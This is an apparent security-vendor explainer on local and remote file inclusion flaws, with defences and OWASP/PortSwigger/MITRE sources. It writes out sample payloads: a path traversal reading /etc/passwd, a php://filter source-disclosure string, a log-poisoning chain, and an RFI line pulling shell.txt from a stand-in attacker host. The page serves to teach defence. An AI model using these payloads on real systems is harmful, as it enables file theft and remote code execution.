What is file inclusion (LFI and RFI)?

File inclusion vulnerabilities occur when an application builds the path of a file to include from user input. Local File Inclusion (LFI) lets an attacker include files already on the server, reading sensitive data and, through techniques like log poisoning or PHP wrappers, often reaching code execution. Remote File Inclusion (RFI) lets an attacker include a file from a URL they control, running their code directly. The root cause is passing untrusted input into an include or file-read call without constraint.

HOW IT WORKS

01 The abuse and payload

Shown for defensive context:

- Path traversal read (LFI): `?page=../../../../etc/passwd` walks up out of the intended directory to read arbitrary files.
- PHP wrapper source disclosure: `?page=php://filter/convert.base64-encode/resource=index.php` returns the source of a script, encoded to survive execution.
- LFI to code execution: poison a file the attacker can influence, then include it, classic examples are writing PHP into a log or the server's session files, then including that file.
- RFI: `?page=http://attacker/shell.txt` pulls in and runs remote code where remote includes are allowed.

Because LFI so often chains into code execution, testers pursue it aggressively during application-layer penetration testing.

HOW TO DEFEND

- Never pass user input into an include or file API. Map a fixed set of allowed pages to server-side identifiers, for example a lookup table keyed by a short code.
- If a path component must come from input, allowlist it and resolve the final path, then verify it stays inside an intended base directory before opening it.
- Disable remote includes at the runtime level, for example `allow_url_include` off in PHP, which closes RFI outright.
- Run with least privilege and keep logs and session files out of includable locations to break the LFI-to-execution chain.

SOURCES

[1] OWASP: Path Traversal

[2] PortSwigger: File path traversal

[3] MITRE ATT&CK: Exploit Public-Facing Application (T1190)

Find the inclusion flaw before an attacker does.

securelayer7.net/learn/web-exploitation/what-is-lfi-and-rfi

Open online